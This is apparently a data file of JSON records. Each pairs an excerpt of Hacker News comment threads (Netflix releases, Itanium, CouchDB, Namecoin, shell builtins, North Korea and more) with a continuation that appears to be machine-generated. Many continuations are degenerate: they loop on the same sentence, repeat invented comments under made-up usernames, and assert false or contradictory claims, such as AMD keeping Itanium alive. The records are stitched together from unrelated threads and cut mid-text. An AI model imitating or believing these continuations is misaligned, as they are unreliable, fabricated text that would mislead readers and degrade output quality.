listen.\n\n[https://www.youtube.com/watch?v=6Af6b_wyiwI](https://www.youtube.com/watch?v=6Af6b_wyiwI)\n\n~~~\nrandomsearch\nI think about a gazillion people identified exactly this type of situation as\na problem, and we\u2019ve had plenty of other outbreaks. It is completely\nunsurprising. The UK has done a lot of modelling and prepping for such an\nevent, as I\u2019m sure have other governments, but that doesn\u2019t give you magic\npowers when it happens.\n\n~~~\nmakomk\nIt's also worth bearing in mind that there's precisely one country which could\npossibly have done what he suggested and stopped this by preventing the\nspillover in the first place - China - and, well, good luck with that.\n\n~~~\nrandomsearch\nI think the problem is that the virus is so mild. You can't spot a lot of\ncases, so e.g. someone gets on a plane and is not showing symptoms and a few\ndays later in Italy they get sick or infect others without realising they're\nill.\n\n------\nonetimemanytime\nIt's fair to say that a LOT of people saw it coming. Just"} +{"output_text": " but that's a\ndifferent issue.)\n\n~~~\njamesaguilar\nI think the problem is that Netflix is trying to make the binge-watching\nexperience more like a traditional TV show. They're trying to make it more\nlike a movie, where you watch the whole thing in one sitting.\n\nI think that's a mistake. I think the binge-watching experience should be more\nlike a TV show, where you watch the whole thing in one", "input_text": " argument. I agree that in an unconstrained\nformat mass appeal is much less important. Yet I don't feel some sort of 'good\nmusic' saturation point has been reached within the single subgenres (and\nsubsubgenres) and I think that it will take a while for that to happen.\n\n------\nzalew\nHN title sums up Business Insider summing up a video sum up of the speech.\n\n~~~\n3rd3\nAs long complexity is only hidden but not lost, that\u2019s OK.\n\nHere is the full speech:\n[http://www.youtube.com/watch?v=oheDqofa5NM](http://www.youtube.com/watch?v=oheDqofa5NM)\n\n~~~\nTyrant505\nThank you, from the lazy.\n\n------\nlukifer\nI still think Netflix is sapping some of the fun and vitality out of their\noriginal series by putting all the episodes up at once. Is binge-watching\ngreat? Of course it is! A huge library of great shows to binge-watch is one of\nthe Netflix's biggest selling points.\n\nBut getting it all at once is like peeking at your Christmas presents early:\nyou think you want it, but it spoils some of the fun, the eventy-ness of it,\nand the social context created by a shared timeline (the so-called \"water-\ncooler effect\").\n\nAnyone who doesn't want that experience can still wait until the whole thing\nis out, probably just a few months, at which point it will still be available\nin the binge library, presumably forever. (I know some who prefer not to start\na new series _at all_ until the entire thing is finished,"} +{"output_text": "\npkrumins\nI'm sorry, I didn't know about those. I will definitely look into them.\n\n------\nmichael_dorfman\nI'm not sure if this is the right place to ask this, but I'm curious:\n\nI'm a big fan of your content, and I'm wondering if you have any plans to\nexpand into other areas.\n\nFor example, I'm a big fan of your \"Lecture Notes\" series,", "input_text": " btw-- I really dig your content. And that's why I'd\nhate to see you putting your energy into low-value, high-effort activities\nlike the aforementioned, instead of concentrating on the core: producing good\ncontent.\n\n~~~\npkrumins\nThanks for the feedback.\n\nAbout the 301 redirects - it doesn't take much effort. People don't make\nmistakes too often, but when they do I wouldn't like to lose visitors that\ncame from their link. I have currently fixed a few links that I have noticed\nvia URL rewriting, but it's web server specific, and I want to brink it to\napplication level to have all the site configuration centralized from admin\nmenu. Managing this tiny feature won't take much of my time and I will still\nbe able to produce quality articles.\n\nAbout the job board. Oh, didn't think of that. You are right. I will set this\nidea a lower priority and just keep producing good content until I hit\ncritical mass. :)\n\n~~~\nmichael_dorfman\nPersonally speaking, my biggest complaint about your site is that the Lecture\nNotes you publish are for courses I have already taken online-- I only wish\nyou had gotten there first. Damned space-time continuum!\n\n~~~\npkrumins\nOh no... /o\\ When did you take take these courses?\n\n~~~\nmichael_dorfman\nI did them both about 2 years ago. I didn't take any organized notes, I'm\nafraid-- I'd have been happy to pass them along if I had.\n\nIf you're going to continue following in my footsteps, I suppose the UC\nBerkeley Operating Systems course and Knuth's \"Musings\" series will be next\nup.\n\n~~~"} +{"output_text": ", and on the front-end we are used to small frameworks.\n\nI think that the best way to learn node is to learn the node.js way of doing\nthings, and then learn the front-end way of doing things.\n\n~~~\njasonkester\nI think you're confusing front-end and back-end.\n\nThe front-end is the part of the stack that you see. It's the part that you\nsee when you look at", "input_text": "\ncan fix your layout. Browsers aren't that scary.\n\nWe're only learning here, so skip IE for now. That one is actually kinda\nscary. Though if you really want to learn front-end, it's all about browser\ndifferences.\n\nAnd then Javascript. Now it will be easy. Stick with jQuery and connect with\nyour Node instance with socket.io. Learn Backbone if you want to make snappy\nweb apps. There's a lot to learn in this 'grey field' between back-end and\nfront-end. But at least you now know front-end.\n\n~~~\niso8859-1\nMight as well make sure you're grammar validates too.\n\nAnyway, I don't understand why the front-end is relevant at all. It's not the\nsame problem, and the fact that most people do both doesn't mean that learning\nto do a good front-end will teach you to do a good back-end.\n\n------\ndanbmil99\nAs a longtime Python guy, mostly back-end (but I knew JS pretty well) -- I did\na quick demo site recently in node, and was surprised by how it felt. There\nwas much less context-switching as I went back and forth between the client\nand server. That sounds obvious but it was kind of a shock.\n\nI always wanted Python on the client (here's looking at you, Jython!) -- js on\nthe server may be the closest thing I'm going to get.\n\n~~~\njdc\nHave you tried Pyjamas?\n\n------\ngbog\nAs noted somewhere else learning node is not learning front-end. Something\nthat bothered me recently is that on the back-end we are used to big oop\nframeworks"} +{"output_text": " tolerance and\ncompassion.\n\n[1]\n[https://www.youtube.com/watch?v=9_1_0_0_q8](https://www.youtube.com/watch?v=9_1_0_0_q8)\n\n~~~\nsremani\nI am not sure if you are aware of the fact that Gandhi was a Hindu. He was\nborn in Porbandar, Gujarat, India.", "input_text": " your experience with them. I can't edit the original\npost any longer (Didn't know that you could only edit for X amount of time)\nbut I will try to recompile it all periodically and republish it or put it on\na website where I can edit it in-place.\n\nYou mention the fill rate was around 1% - this meant that 1% of the time there\nwere ads to display? Isn't that quite low? What should we expect and aim for?\n\n \nMahatma Gandhi is set to become the first non-white person on British currency - seesawtron\nhttps://www.dailymail.co.uk/news/article-8586361/Mahatma-Gandhi-set-non-white-person-British-currency.html\n======\ndragonsh\nGandhi is a first example of proving that non-violence is one of the most\neffective tool for transformation as a society. He wanted equal treatment for\nIndian people at par with any British citizen. But Britain wasn\u2019t ready to\ngrant full dominion status, then series of incidents moved him to ask for full\nfreedom. In his early years in Africa when he was going through\ntransformation, there were some incidents which reflected some prejudice\nagainst native Africans, but subsequently he became a changed man, his\ngreatness lies in constantly reinventing himself as he learns more about life.\n\nGandhi will be crying in his grave of what India has been turned into, in just\n6 years. An intolerant, divided society with complete disdain for rule of law.\nThe concept of reason has gone away completely [1]. Hope the lessons of\nCOVID-19 can turn the tide, hopefully into a plural India which celebrates\nunity in diversity and again put emphasis on reason,"} +{"output_text": " the Itanium. AMD was the only company that kept the x86-64 alive.\n\n~~~\njandrese\nIntel was the only company that kept the x86-64 alive. AMD was the only\ncompany that kept the Itanium alive.\n\n~~~\narnon\nI'm not sure what you mean by \"kept alive\".\n\nIntel killed off Itanium, and AMD kept x86-64 alive.\n\n~~~\njandrese\n", "input_text": " What will OpenVMS\ndo without Itanium?\n\n~~~\nghaff\nAs the parent indicates they're porting it to x86-64. I've been away from\nfollowing HP proprietary systems for almost 10 years but they put a plan in\nplace quite a while ago when it became obvious that Itanium had no future.\nRemember that systems in this space don't need to be the latest and greatest.\nThey need a long support roadmap but it's mostly fine if hardware is on the\nolder side.\n\n------\npinewurst\nBack in 2012, Oracle published some interesting (and IMHO amusing) internal HP\ndocuments re Intel and ongoing Itanium development.\n\n[http://www.oracle.com/us/corporate/features/itanium-346707.h...](http://www.oracle.com/us/corporate/features/itanium-346707.html)\n\n------\nttul\nI got to work with one of the first Itanium machines back in 2000 working as\nan intern. My job was to port Perl to IA-64. It was an amazingly fast machine\n- like living a few years into the future.\n\nI can see why it failed to gain mass traction, but that\u2019s a shame. IA-64 was\nso innovative.\n\n~~~\nmacintux\nHP paid my employer (Progeny) to help port Debian packages to an early Itanium\nsystem. I don\u2019t remember thinking it was fast _at all_, but maybe my memory\nis colored by later miseries.\n\n------\narnon\nIt's interesting that it was actually AMD that kept the Intel x86-64\narchitecture alive.\n\nIntel knew that the x86 architecture was limited in time, and tried to kill it\noff with"} +{"output_text": ". I'm excited\nto see the new features in CouchDB 2.0.\n\n------\njoshu\nI'm really excited about this. I've been using CouchDB for a while now, and\nit's been great.\n\n------\njoshu\nI'm really excited about this. I've been using CouchDB for a while now, and\nit's been great.\n\n------\njoshu\nI'm really excited about this", "input_text": "are slow etc.\n\nC++ is very fast and very sharp. Not easy to get everything right. (Some sort\nGreenspun's rule would apply here I think. Substitute Erlang for Common Lisp).\n\n~~~\nmarkpapadakis\nI understand it is about tradeoffs, and that the benefits and limitations of\nevery language(in terms of syntax and semantics, and its associated runtime/VM\n-- if any) definitely define to a large extent the final product's\ncharacteristics.\n\nI am only saying that Mongo is not unreliable because C++ was selected; it's\nunreliable because of architectural choices and lack of care which may or may\nnot have been intentional.\n\n~~~\ntormeh\nCrudely put, my point was that the people who freely choose C, C++ and\nJavascript (and PHP etc.) are the kind of people who don't care much for\nquality. I understand if there are availability or historic (or even sometimes\nperformance) reasons why someone chose a bad language, but if not I'm a bit\nprejudiced towards them. Erlang, in contrast to the aforementioned languages,\nis a language for people who plan to do things _properly_.\n\n------\nniftich\nSummary:\n\nCouchDB 2.0 is a unification of the CouchDB 1.x line (a single-node DB) with\nBigCouch (which was a fork by Cloudant that added proper out-of-the-box\nclustering).\n\n------\nreubano\nYou have no idea how long I've been waiting for this. I seriously thought\ncouchdb was dead. Looking forward to more frequent releases in the future.\n\n------\ndoublerebel\nI've had great experiences with Cloudant's service and features"} +{"output_text": ", etc.\n\nI think it's a good idea to have a target that you want to reach. It's a\nmotivator.\n\n------\nmatt_the_bass\nI\u2019ve been working on a book for the past few years. I\u2019ve been working on it\nfor a long time. I\u2019ve been working on it for a long time. I\u2019ve been working\non it for a long time. I\u2019ve been working on", "input_text": "have external stimulation big enough to not have time to think about these\nmatters. I don't want to be silly, but if you'd be hungry, jobless or having a\nlot of stake at risk, your brain would imidiately switch to \"get shit done\".\nSo much for external motivation. Internal motivation, thats another story,\nwhich everyone need to figure out themselves. Still struggling myself.\n\n------\ntouchofevil\nYou sound a lot like me. I have had tons of trouble making myself work, even\non my passion projects that I have invested significant amounts of my own\nmoney in. I would recommend that you read Turning Pro by Steven Pressfield. He\nwas a chronic procrastinator who turned things around. I would combine this\nwith renting a desk at a coworking space and keeping regular work hours,\nthough they might only be four or six hours per day (8 is too much if you are\nactually working).\n\n------\nwdalrymple\nI picked up bullet journalling last year and it has dramatically improved my\nprocrastination and disorganization which has had the biggest impact on my\nmotivation.\n\nSetting aside each night to review the day and plan the next really helps. I\nlove checking shit off. Just make sure your list is achievable and the tasks\nare small enough. Large tasks that take multiple days can be overwhelming and\nlose meaning.\n\nIt also helps that my bujo is a physical book. That tactile experience makes a\nbig difference.\n\n------\npps43\nIvan Pavlov, famous for his dog experiments, wrote about something he called\n\"target reflex\" (approximate translation, I could not find his 1916 book by\nthat name in English). That's the desire to capture the flag, reach another\nlevel"} +{"output_text": "com/blog/archives/2013/01/the_degradin...](https://www.schneier.com/blog/archives/2013/01/the_degrading_of_the.html)\n\n2\\. [https://www.schneier.com/blog/archives/2013/01/the_degradin...](https://www.schneier.com/blog/archives/2013/01/the_de", "input_text": " about it.\n\n~~~\nTheAmazingIdiot\nTrust me. I'm not bashing.\n\nI have a blackberry hooked up to Google Voice and Mail servers. They know my\nname, address, all my phone numbers, all my emails, my contact lists,\nfrequency I receive calls on my Google number, text transcription of\nvoicemails. They also can potentially record every call I receive and make\nwith GV.\n\nConsidering the benefit I get from _just Mail and GV_, the datamining is a\ncost I'm willing to make. I also know if my phone is lost, I dont lose my\ndata. And I can back it up elsewhere.\n\nAnd I am somewhat happily shocked that they came such forthright that they\n\"fired him for snooping\". Most places will only say \"They no longer work for\nthe company\".\n\n------\nCharuru\nSo this genius violated policy, and then bragged about it to his victim / the\nperson who have the most reason to report him?\n\nHe's totally dumb.\n\n------\nrufugee\nWow...it appears Daniel Faraday left the island and took up programming...\n\n \n\u201cOh By\u201d Is the Universal Shortener - rsync\nhttps://0x.co/index.html\n======\nsmt88\nDon't use this or any other URL shortener for any reason. It degrades online\nsecurity[1], creates a bad UX, and breaks the web[2].\n\nIf you insist on using one, use one that is owned and maintained by a massive,\nstable company, like Google[3]. Smaller services, with no culpable business\nbehind them, tend to die off[4][5].\n\n1\\.\n[https://www.schneier."} +{"output_text": " and see how they compare.\n\n~~~\njoe24pack\nI'm not sure how to do that. I'm not sure how to get the time it took to\ncalculate it in ruby.\n\n~~~\njypepin\nI'm not sure either, but I think it would be interesting to see how much\nfaster ruby is than python.\n\n~~~\njoe24pack\nI'm not sure how to get the time it took to calculate it in ruby", "input_text": "\n~~~\ngsnedders\nYou still can \u2014 now the dispatch overhead is ever closer to zero, the cost of\nthe operation is even more apparent.\n\n------\njoe24pack\nI think I might be doing it wrong, because I didn't do any looping. I'm a bit\ntoo lazy and impatient for that, who wants to spend their afternoon adding all\nthose numbers up even with a computer.\n\n \n \n [joe24pack@staropramen ~]$ python\n Python 2.6.6 (r266:84292, May 1 2012, 13:52:17) \n [GCC 4.4.6 20110731 (Red Hat 4.4.6-3)] on linux2\n Type \"help\", \"copyright\", \"credits\" or \"license\" for more information.\n >>> def gauss(x):\n ... return (x+1)*(x/2)\n ... \n >>> gauss(10)\n 55\n >>> gauss(1000000000)\n 500000000500000000\n >>>\n\n~~~\nTibbes\nHmmmm, make that:\n\n \n \n def gauss(x):\n return (x+1)*x/2\n \n\n(consider gauss(11), for example)\n\nYou gotta admit, on an article about the difference between integer and\nfloating-point arithmetic, that's pretty ironic!\n\n~~~\njoe24pack\nIt's odd that the odd numbers slipped my mind. Thank you for your gracious\ncorrection.\n\n------\njypepin\nAccording to the time it took to my macbook air to calculate it in ruby, it\nwould be pretty interesting to have someone generate benchmarks for different\nlanguages"} +{"output_text": "layouts/rwd-\npatterns/)\n\n~~~\nmattmanser\nI'm not sure what you're trying to say.\n\nThe term \"design patterns\" is used by designers to describe the common\npatterns that may be applied for good UI/UX design.\n\nIt's not a term that's used by computer scientists.\n\n~~~\nbigtunacan\nI'm not sure what you're trying to say.\n\nThe term \"", "input_text": "ref=pd_lpo_sbs_d...](http://www.amazon.com/gp/product/0881792128/ref=pd_lpo_sbs_dp_ss_3?pf_rd_p=1944687762&pf_rd_s=lpo-\ntop-\nstripe-1&pf_rd_t=201&pf_rd_i=3721200438&pf_rd_m=ATVPDKIKX0DER&pf_rd_r=038MRVMFF37KXY94ER2F).\n\n~~~\nmattmanser\nIt doesn't sound like you know what software design patterns are. This has\nabsolutely nothing at all to do with design patterns, which is about software\ndesign and how to manage complexity and nothing else. UX is not code.\n\n~~~\nbigtunacan\nWhile I agree that the TC intended software design patterns, I don't think a\nWTF is in order for the confused reply.\n\nThe term \"design patterns\" stems from architecture, not computer science, and\nis used by designers as well for the common patterns that may be applied for\ngood UI/UX design.\n\n[http://ui-patterns.com/patterns](http://ui-patterns.com/patterns)\n\nSomebody better let Google know that \"design patterns\" don't apply to UX.\n\n[https://developer.android.com/design/patterns/index.html](https://developer.android.com/design/patterns/index.html)\n\n[https://developers.google.com/web/fundamentals/layouts/rwd-p...](https://developers.google.com/web/fundamentals/"} +{"output_text": " No such file or directory\n /bin/time: not found\n \n\nI'm not sure if this is a bug or a feature.\n\n~~~\njlgreco\nI think it is a feature.\n\n~~~\nhobarrera\nI don't think so.\n\nIf you're going to use a reserved word, you should use it in the same way as\nyou would use a builtin.\n\n~~~\njlgreco\nI", "input_text": " and\nshell the author is using.\n\n~~~\nElrac\n> As as side-note, an article like this should at least mention which OS and\n> shell the author is using.\n\nVery much agree! I just tried this on my 2.6.32 RHEL system, and it's never\nheard of \"-l\". It outputs very similar-looking information as in the article,\nthough, when given \"-v\".\n\n------\nhalostatue\nIn both bash and zsh, you can force the shell to use $PATH for lookup\n(bypassing functions and shell builtins) by calling a builtin name with\n'command' ('command time -l ls'). You can equivalently force a builtin with\n'builtin', but that does not work with reserved words (and 'time' is a shell\nreserved word).\n\n~~~\nramshorns\nTIL that a shell reserved word is different from a shell builtin.\n\n[http://unix.stackexchange.com/questions/267761/differences-b...](http://unix.stackexchange.com/questions/267761/differences-\nbetween-keyword-reserved-word-and-builtin)\n\n~~~\nxelxebar\nYeah. Shell semantics can be pretty unintuitive sometimes. I often find it\nhelpful to translate these ideas to standard programming language terms.\n\n* Commands are like functions * Commands in /bin etc. are like library functions * Builtins are like a language's primitive functions * Keywords are keywords\n\n------\nhobarrera\n\n $ which time\n time: shell reserved word\n $ ls /usr/bin/time /bin/time\n ls: cannot access '/usr/bin/time':"} +{"output_text": ".\n\n~~~\ncodyb\nI think the difference is that Gorbachev was a reformer. He was a communist\nand he wanted to reform the communist system. He was a reformer.\n\nKim Jong Un is a dictator. He is a dictator. He is a dictator. He is a\ndictator. He is a dictator. He is a dictator. He is a dictator. He is a\ndictator. He is a dictator. He is a", "input_text": " gain.\nShould we let Germany erase the holocaust if they donate sufficiently large\nsums to charity? Should we forget about the human rights issues in North Korea\njust so we can label the current situation peaceful, and pretend they do not\nexist?\n\n------\npow_pp_-1_v\nI haven't read through all the comments here but so far I haven't seen anyone\ngive credit to Kim Jong Un. He's probably a pretty smart dude and has been\nplanning these moves ever since he was a kid. At the end of all this, he will\nagree to \"denuclearize\" by reducing his nuclear stockpile over a very long\ntime period; promise to stop doing nuclear research etc. In return he will get\na ton of foreign aid, much weakened sanctions against his country and\nlegitimacy in the international stage.\n\nBut who knows. I am no expert.\n\n~~~\nmalnourish\nSure, give him some credit. In the same breath that he allowed for and\ncommitted atrocities against his people.\n\n~~~\nimbokodo\nYou mean like the massacre of No Gun Ri and the general policy of shooting\ncivilians in the Korean war? The Gwangju massacre?\n\nOh you don't mean the atrocities of the dictatorships in the south under the\nUS military occupation, you mean the north.\n\n~~~\ncodyb\nJust because others have done something doesn\u2019t excuse the behavior of the\nindividual.\n\nThat being said, just because someone has done something horrible doesn\u2019t mean\nthey can\u2019t do good things.\n\n------\nmaxxxxx\nThis reminds me a little of the Gorbachev situation. He thought he could\nreform the Soviet Union but only started an uncontrollable process for its\ndisintegration"} +{"output_text": " there\n> is no realistic possibility of intercepting the communications of a\n> particular target.\n\n~~~\nrsync\nI'm not sure what you mean by \"the requirements start on page 8\".\n\nThe requirements are in the form of a list of requirements.\n\nThe requirements are:\n\n1\\. Law enforcement officers must make reasonable efforts to minimize the\ncapture of signals emitted from cell phones used by people other than the\ntarget of the investigation.\n\n2\\.", "input_text": "anthera\nIt seems like a bad choice of domain, given the example usage. \"0x\" will be\nregularly confused with \"ox\", and ox.co is a completely different site.\n\n------\nfraXis\nWhat language / framework is the backend programmed in?\n\n~~~\nrsync\nperl.\n\nAlso: view source on any page to learn _just what kind_ of a website 0x.co is\n...\n\n------\nwcf3\nWhat does the public/private option do?\n\n~~~\nrsync\nAt some point (not now) we will present existing codes as a searchable\nresource from the outside. I haven't decided what that presentation layer will\nlook like, but the idea is that a lot of Oh By Codes will contain important or\nhelpful information and benefit from being searchable.\n\nBut some won't. So if you want to keep the content of your code\nprivate/unindexed/norobots, you would set that flag to \"private\".\n\nI think the expiration pick-list is self-explanatory, yes?\n\n------\nthde\nDo you provide a.onion address?\n\n \nFederal judge puts limits on FBI use of \u201cstingray\u201d cell site simulators - declan\nhttps://plus.google.com/+DeclanMcCullagh/posts/3gc6o6B3Pex\n======\nSniffnoy\nThe actual requirements start on page 8. Here's my summary:\n\n> First, law enforcement officers must make reasonable efforts to minimize the\n> capture of signals emitted from cell phones used by people other than the\n> target of the investigation. [...] Moreover, law enforcement officers must\n> not use a cell-site simulator when, because of the location and time,"} +{"output_text": "iceberg.html)\n\n~~~\nprat\nI have been following this very closely. I am not optimistic. I am\ndisappointed.\n\n------\njrockway\nI don't think this will do much. The anti-vaccination movement is a fringe\nmovement, and it's not going to be swayed by a few articles in the NYT.\n\n~~~\njrockway\nI'm not sure why this is getting downvoted. I", "input_text": " certain taxes and regulations,\nwhich is generally free. Then the messaging could be \"Obama backs $200B job\ncreation effort\".\n\n~~~\nryanwaggoner\n_We spent 10X this number of bank bailouts and such. That didn't piss normal\npeople off because the messaging was that it was needed to fix the economy._\n\nI think you're out of touch. Virtually 100% of the Republicans I know were\ncompletely opposed to the bank bailouts, and a huge portion of the liberals I\nknow were as well. Almost every poll I saw showed that the majority of\nAmericans opposed bailing out Wall Street and the auto industry.\n\n------\nikitat\nSadly, this will only put a small dent in the anti-vaccination cloaked as\nautism advocacy movement.\n\n~~~\nprat\nThere aren't as many pseudo doctors as there are pseudo scientists. This bit\nof pseudoscience is not as resilient as intelligent design. I think this dent\nwill quickly kill the movement.\n\n~~~\nlbrandy\nI appreciate your optimism but I fear you haven't been following this very\nclosely. This is not the first time this guy and his work has been completely\ntossed under a bus. The antivax people have known for a LONG TIME that this\nguy was being seriously discredited and chalked it up to \"big pharma funded\"\nwitch hunting.\n\nSee for yourself: [http://www.ageofautism.com/2010/01/naked-intimidation-the-\nwa...](http://www.ageofautism.com/2010/01/naked-intimidation-the-wakefield-\ninquisition-is-only-the-tip-of-the-autism-censorship-"} +{"output_text": "com/item?id=1264123>\n\n------\njoshu\nI think you should do it.\n\nI think you should do it because you are young and have a lot of time to\nlearn.\n\nI think you should do it because you are young and have a lot of time to\nlearn.\n\nI think you should do it because you are young and have a lot of time to\nlearn.\n\nI think you should do it because", "input_text": "'ll actually own your side-work and get your documents in order.\n\nFigure out a realistic assessment on how cheap you can actually live. This\nwill be different for different folks. Examine your savings. See if you can\nget some Angel Investments (know any rich people you can convince that your\nidea is good?) This analysis will tell you how long you have until you need to\nfind another job for someone else and give up. I'd be scared if this number\ncame up as less than a year.\n\nIf it is a money-making idea, and you can get some angel money (or VC, or have\na nice nest-egg), don't hesitate to hire people with the skills you don't.\nParticularly sales, marketing, and CEO. Geeks think we can fake these, and\nI've faked sales better than a salesman can fake code, but it was a mistake.\n\nIf you can do the math, see that you've given yourself enough time to develop\na product and give it a chance in the marketplace, can hire the key personnel\nand afford them, have an actual business plan - go for it! Especially if\nyou're under 30. The downside to a failed startup is actually rather small,\nand I've found people like it that I've founded a company on my resume, even\nif it didn't succeed. And if you create something people will actually pay\nfor, hey, congrats!\n\n------\neuroclydon\nFlagged: This guy just advocates lying and underhanded practices in his\ncolumn. I think it's just blog-trolling.\n\nIf it's supposed to be funny, I find the humor very elusive.\n\nHere is another post from a couple of weeks ago:\n\n CSS Variable Test\n \n \n \n\nIf I load that document in a browser that supports CSS variables, the title\nwill be blue. But if I run it through Myth, it drops the blue rule and makes\nthe title red. This is because CSS variables are inherited throughout the\ndocument and can be overridden at any time. The calculated value of the CSS\nproperty that uses the variable depends on the document structure.\n\nLikewise with calc() - if you multiply values like in their example, it works,\nbut if you try to add two values of different units (e.g. 2"} +{"output_text": "jow_laptop\nI'm not sure if this is the right place to ask this, but I'm curious:\n\nWhat's the scope of this project?\n\nI'm not sure if I'm missing something, but it seems like this is a project\nthat's trying to do too much.\n\n~~~\npferde\nI'm not sure if this is the right place to ask this, but I'm curious:\n\nWhat's the scope of this project", "input_text": "lightly Offtopic, are there anything similar based on FreeBSD / BSD?\n\n~~~\nnissimk\nThere are several listed here, but most of them only work on x86, not consumer\nrouters.\n\n[https://en.m.wikipedia.org/wiki/List_of_router_and_firewall_...](https://en.m.wikipedia.org/wiki/List_of_router_and_firewall_distributions)\n\n------\nchris_wot\nWhat are the benefits of using procd? And are you going to fork that also?\n\nWhat's the scope of this project - really very interested...\n\n------\nbluesign\n\"AGREED: 4/6 attendees agree to create and agenda and finding a date on the\nmailing list (jow_laptop, 13:05:51)\" [1]\n\nFirst major disagreement :)\n\n[1] [http://meetings.lede-project.org/lede-adm/2016/lede-\nadm.2016...](http://meetings.lede-project.org/lede-adm/2016/lede-\nadm.2016-03-30-11.05.html)\n\n------\nZekio\nMore of this type of projects is good, gives consumers/developers more\nchoices.\n\n~~~\npferde\nNot always. If a fork is made because some group wants to move in a different\ndirection code-wise, it's good, because it gives users more choice. However,\nif the fork is made because of administrative reasons (as it seems to be the\ncase here), then often all it does is muddy the waters and create confusion.\nWe'll see how this one plays out.\n\n------\n"} +{"output_text": ").\n\n------\njoshu\nI've been doing this for years.\n\nI'll ask for a discount, and then I'll ask for a discount on the next order.\n\nI've never had a problem.\n\n~~~\njoshu\nI've also been doing this for years.\n\nI'll ask for a discount, and then I'll ask for a discount on the next order.\n\nI've never had a problem.\n\n------\n", "input_text": " but that wouldn't\nbe a veggie bowl.\n\n~~~\nnate\nYes, it was for a veggie bowl. But i didn't bring the example up originally\nbecause I think the veggie bowl changed. This example was about 6 years ago\nwhen I believe those peppers and onions weren't included with the veggie bowl.\n\n------\nck2\nThat is NOT why modifying your order-in-progress works.\n\nIt works because they would rather modify why you just ordered, rather than\nyou canceling your order entirely.\n\nIt works the same way in the supermarket when I use a coupon that is one day\npast the expire date or not quite exactly the same item, etc. They don't have\nto take the coupon but they realize they CAN take it and if they don't, I will\nlikely not buy the product in the first place.\n\nIf you ask them ahead of time, before you even get the item, they can\ncircumvent you hassling them. Afterwards, it's easier to just give into you.\n\n~~~\nellimist\nI'm wondering, how does that work from the store's end? Would they still be\nable to get the coupon amount back from the manufacturer even though the\ntransaction was made past the expiration date? Do manufacturers even check\nthat?\n\n~~~\nck2\nThe store has two weeks to submit the coupons to their clearinghouse. They\nalso make (a small amount) of money on the coupon vs. you paying in cash\n(unless they do doubling where they lose).\n\nTechnically they are not supposed to accept a coupon that expired 24 or 48\nhours ago. But if you ask in the middle of checkout, you'd be surprised where\n3 out of 4 times they will say no problem (if you have a decent cashier"} +{"output_text": " chose is a bit too trivial to demonstrate the difference\nbetween && and 'and'.\n\n------\njrockway\nI don't understand why people are so hung up on parentheses. I don't think\nthey are necessary in most cases.\n\n~~~\njrockway\nI think the problem is that people are used to using parentheses in a certain\nway. They are used to writing code like this:\n\n \n \n if (foo == 42) {\n ", "input_text": " have to be remembered then have we shortchanged\nourselves in mastery of a language? Warts and all?\n\n------\ndraegtun\nAlso see this blog post: _Logical operators in Perl and Ruby_\n[http://eli.thegreenplace.net/2007/06/02/logical-operators-\nin...](http://eli.thegreenplace.net/2007/06/02/logical-operators-in-perl-and-\nruby/)\n\n------\ngmac\nI knew this, but I always find it a rather disappointing choice in the\nlanguage design, as I think its capacity for inspiring bugs rather outweighs\nits usefulness (which extends as far as making some parentheses unnecessary).\n\nIn a nutshell: there are two forms of the AND and OR operators, with different\nprecedences; in many contexts, you can use them interchangeably; but in some,\nthey'll behave differently, and could bite you.\n\n------\njim_h\nI'm slow this morning. That took me a couple of minutes to get the example.\n\n'foo = 42 and foo / 2'\n\nI was expecting an undefined variable since foo was never set because I was\nthinking of it as foo = (42 and foo / 2)\n\nBasically I would write the example as this in 2 lines to avoid confusion and\nnot use 'and':\n\nfoo = 42\n\nfoo / 2\n\nMaybe another example in the article would have been better to show the power\nof 'and'.\n\n~~~\navdi\nWriting it in two lines would defeat the purpose of demonstrating the\ndifference between && and 'and'.\n\n~~~\nCodeMage\nYep, that's an important point: you should probably have chosen a different\nexample. The one you"} +{"output_text": " to use namecoin. The main\nproblem is that the namecoin protocol is not well designed. It is not\nimplemented in a way that is easy to use. The namecoin protocol is not\nimplemented in a way that is easy to extend. The namecoin protocol is not\nimplemented in a way that is easy to use. The namecoin protocol is not\nimplemented in a way that is easy to extend. The namecoin protocol is not\nimplemented in a", "input_text": "\n\"On October 15, 2013, a major flaw in the namecoin protocol was revealed by\nthe Kraken exchange COO, Michael Gr\u00f8nager. The exploit allowed any user to\nfreely steal any domain from any other user.[34] A temporary fix was deployed\nwhich prevents fraudulent name transactions from affecting the name database\nwithout requiring miner intervention, and a long-term fix which rejects blocks\ncontaining such transactions is scheduled for block 150,000 if a majority of\nminers upgrade.[35]\"\n\nWell, I'm sure stoked that we're building the future infrastructure of the Net\non something that we're pretty sure doesn't have a ginormous security hole\n_anymore_...\n\n------\nFredericJ\nIf you don't know about Namecoin here are too additional ressources you might\nwant to check out: \"OkTurtles + DNSChain\" (working Namecoin + DNS\nimplementation): [http://okturtles.com/](http://okturtles.com/) and \"Providing\nbetter confidentiality and authentication on the Internet using Namecoin and\nMinimaLT\" :\n[https://github.com/FredericJacobs/safeweb/blob/master/paper....](https://github.com/FredericJacobs/safeweb/blob/master/paper.pdf?raw=true)\n\n------\nbachback\nThere are currently 1-2 developers working on Namecoin (mostly Khan, another\ncore developer died recently). Namecoin itself has quite a few issues. The\ndesign is only the beginning.\n\n~~~\nappleflaxen\nCan you elaborate on the issues you allude to? The \"criticism\" section on\nwikipedia is pretty thin.\n\n~~~\nbachback\nwell, at the moment there is not much reason"} +{"output_text": " are taking their money out in bitcoin. People in the USA are\ntaking their money out in bitcoin.\n\nThe only currency that is not being taken hostage by governments is Bitcoin.\n\n~~~\njstanley\n> EXAMPLE: I did a wire transfer from the USA to India. Since it was sent in\n> Indian rupees, the receiving bank kept rejecting it. They claimed it didn't\n> pass AML. The real reason is that they wanted to take huge fees", "input_text": " with known\npublic key, due to either the formerly popular Pay-to-Public-Key script, or\nthe ever popular practice of addresses re-use that you also mentioned.\n\n------\nquocble\nAside from the flaws of the article, there are something to be said about how\ncentralized bitcoin has become. Most of the bitcoins are held by centralized\nexchanges, or \"qualified\" custodian (locked up in ETF and other exchanges).\nThey essentially act like centralized banks, the exact thing we're trying to\navoid. The only saving grace is we can send to native wallet, giving us some\nfreedom from the institutions.\n\n------\nHashThis\nThis is how Bitcoin ends up...\n\n* Bitcoin and Ethereum are grandfathered into not requiring KYC and AML. They are the rare currency with zero friction.\n\n* All new currencies require KYC and AML. This is happening right now\n\n* Other currencies can have some positives (backed by revenue generating assets, etc.). But they can be confiscated by governments\n\n* Bitcoin always has a place, as the zero friction, no-KYC currency.\n\nEXAMPLE: I did a wire transfer from the USA to India. Since it was sent in\nIndian rupees, the receiving bank kept rejecting it. They claimed it 